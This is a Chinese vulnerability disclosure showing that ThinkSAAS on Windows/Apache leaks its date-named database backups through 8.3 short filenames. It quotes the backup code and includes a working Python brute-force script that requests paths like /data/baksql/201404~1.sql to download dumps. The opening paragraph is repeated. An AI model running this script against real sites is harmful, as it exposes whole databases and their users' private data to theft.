### 简要描述: ThinkSAAS某处设计缺陷可被直接拖库 ### 详细说明: 首先我们来科普一下windows的短文件名,也就是下面我们要用到的。 ``` 背景知识: ``` Windows 支持的长文件名最多为 255 个字符。Windows 还以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。 Windows 按以下方式从长文件名生成短文件名: Windows 删除文件名中的任何无效字符和空格。无效字符包括: . ” / \ [ ] : ; = , 由于短文件名只能包含一个英文句点 (.),因此,Windows 将删除文件名中的其他英文句点,即使文件名中最后一个英文句点后面是有效的非空格字符,也是如此。例如,Windows 从长文件名 This is a really long filename.123.456.789.txt 生成短文件名 Thisis~1.txt 否则,Windows 将忽略最后一个英文句点,而使用倒数第二个英文句点。例如,Windows 从长文件名 This is a really long filename.123.456.789. 生成短文件名 Thisis~1.789 生成短文件名如果需要的话,Windows 将文件名截断为 6 个字符,并在后边附加一个波形符 (~) 和一个数字。例如,创建的每个以”~1″结尾的唯一文件名。复制文件名以”~2″、”~3″等结尾。 生成短文件名Windows 将文件扩展名截断为 3 个字符或更短。 生成短文件名Windows 将文件名及扩展名中的所有字符转为大写。 ``` Apache下: ``` acunetix研究指出当Apache运行在windows下,如果创建了一个长文件,那么无需猜解长文件,直接用短文件就可以下载了。例如一个backup-082119f75623eb7abd7bf357698ff66c.sql的长文件,其短文件是BACKUP~1.SQL,攻击者只需要提交BACKUP~1.SQL就可以直接访问该文件 ``` 问题: ```...
### 简要描述: ThinkSAAS某处设计缺陷可被直接拖库 ### 详细说明: 首先我们来科普一下windows的短文件名,也就是下面我们要用到的。 ``` 背景知识: ``` Windows 支持的长文件名最多为 255 个字符。Windows 还以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位 Windows 的程序访问这些文件。 Windows 按以下方式从长文件名生成短文件名: Windows 删除文件名中的任何无效字符和空格。无效字符包括: . ” / \ [ ] : ; = , 由于短文件名只能包含一个英文句点 (.),因此,Windows 将删除文件名中的其他英文句点,即使文件名中最后一个英文句点后面是有效的非空格字符,也是如此。例如,Windows 从长文件名 This is a really long filename.123.456.789.txt 生成短文件名 Thisis~1.txt 否则,Windows 将忽略最后一个英文句点,而使用倒数第二个英文句点。例如,Windows 从长文件名 This is a really long filename.123.456.789. 生成短文件名 Thisis~1.789 生成短文件名如果需要的话,Windows 将文件名截断为 6 个字符,并在后边附加一个波形符 (~) 和一个数字。例如,创建的每个以”~1″结尾的唯一文件名。复制文件名以”~2″、”~3″等结尾。 生成短文件名Windows 将文件扩展名截断为 3 个字符或更短。 生成短文件名Windows 将文件名及扩展名中的所有字符转为大写。 ``` Apache下: ``` acunetix研究指出当Apache运行在windows下,如果创建了一个长文件,那么无需猜解长文件,直接用短文件就可以下载了。例如一个backup-082119f75623eb7abd7bf357698ff66c.sql的长文件,其短文件是BACKUP~1.SQL,攻击者只需要提交BACKUP~1.SQL就可以直接访问该文件 ``` 问题: ``` 当我们在备份文件时,总想用一个够长的,够随即的,难猜解的文件名来命名我们的文件,很多都是各种md5值,或者各种日期+随机数这些,但是文件名会很长,这是当服务器为windows时,精心构造的长文件名就失效了,因为遇到了短文件名。 ``` 利用: ``` 所以在上述情况下,当服务器有备份文件时,且文件名较长时(好像是大于9位),就会生成短文件名,这时,即使还不知道前面6字符的值,但是给我们猜解,爆破带来了很大方便。如果是日期+随机数这种的,就更简单了。 ``` 下面说说一个具体的实例: ``` 来看看thinksaas的数据库备份操作: ``` } else { // 备份全部表 if ($tables = mysql_query ( "show table status from " . $this->database )) { $this->msg .= "读取数据库结构成功!<br />"; } else { exit ( "读取数据库结构失败!<br />" ); } // 插入dump信息 $sql .= $this->_retrieve (); // 文件名前面部分 $filename = date ( 'YmdHis' ) . "_all"; // 查出所有表 $tables = mysql_query ( 'SHOW TABLES' ); // 第几分卷 $p = 1; // 循环所有表 while ( $table = mysql_fetch_array ( $tables ) ) { // 获取表名 $tablename = $table [0]; // 获取表结构 $sql .= $this->_insert_table_structure ( $tablename ); $data = mysql_query ( "select * from " . $tablename ); $num_fields = mysql_num_fields ( $data ); // 循环每条记录 while ( $record = mysql_fetch_array ( $data ) ) { // 单条记录 $sql .= $this->_insert_record ( $tablename, $num_fields, $record ); // 如果大于分卷大小,则写入文件 if (strlen ( $sql ) >= $size * 1000) { $file = $filename . "_v" . $p . ".sql"; // 写入文件 if ($this->_write_file ( $sql, $file, $dir )) { $this->msg .= "-卷-" . $p . "-数据备份完成,生成备份文件<span style='color:#f00;'>$dir$file</span><br />"; } else { $this->msg .= "备份卷-" . $p . "-失败<br />"; return false; } // 下一个分卷 $p ++; // 重置$sql变量为空,重新计算该变量大小 $sql = ""; } } } // sql大小不够分卷大小 if ($sql != "") { $filename .= "_v" . $p . ".sql"; if ($this->_write_file ( $sql, $filename, $dir )) { $this->msg .= "-卷-" . $p . "-数据备份完成,生成备份文件 <span style='color:#f00;'>$dir$filename<br />"; } else { $this->msg .= "备份卷-" . $p . "-失败<br />"; return false; } } ``` 对备份的文件名如下进行命名: ``` $filename = date ( 'YmdHis' ) . "_all"; $p = 1; $file = $filename . "_v" . $p . ".sql"; ``` 日期+_all+_v1.sql 这个文件名已经超出了9字符,肯定可以生产短文件名的。 生成类似于这样的名称: 20140410174942_all_v1.sql 利用windows的短文件名规则, 201404~1.sql 这样就可以访问数据库备份文件了,当然,就算不利用短文件名,也是可以遍历的,只是需要遍历的范围加大了而已。 首先我们来看看后台生产的备份文件: [<img src="https://images.seebug.org/upload/201404/11094300294e204c0f0a800be5a4fd9d77e597be.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/11094300294e204c0f0a800be5a4fd9d77e597be.png) 我们现在是不知道这些文件名的,所以无法访问此备份文件的 [<img src="https://images.seebug.org/upload/201404/11094339d673ae4f534344340edbde4bcd3a58fa.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/11094339d673ae4f534344340edbde4bcd3a58fa.png) 那么既然有短文件名,而且是时间命名开头,这样我们可以很随意就能猜解出来文件名,下面我们用一个脚本进行猜解: ``` # -*- coding: UTF-8 -*- import urllib from urlparse import urljoin def run(host): print "Starting......" years =["2012","2013","2014"] months = ["01","02","03","04","05","06","07","08","09","10","11","12"] for y in range(len(years)): for i in range(len(months)): mdhis = months[i] year = years[y] url = urljoin(host, "/data/baksql/"+year+mdhis+"~1.sql") print url res = urllib.urlopen( url ) if res.getcode() == 200 and len(res.read()) > 0: print "Success, The Bak Url Is : >>> " + url break print "Nothing..." if __name__ == "__main__": import sys host = sys.argv[1] run(host) ``` 成功猜解出数据库备份文件名: [<img src="https://images.seebug.org/upload/201404/1110155974af19b4ab713686ec7d17e6d3c5c5a5.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201404/1110155974af19b4ab713686ec7d17e6d3c5c5a5.png) ### 漏洞证明: 见详细说明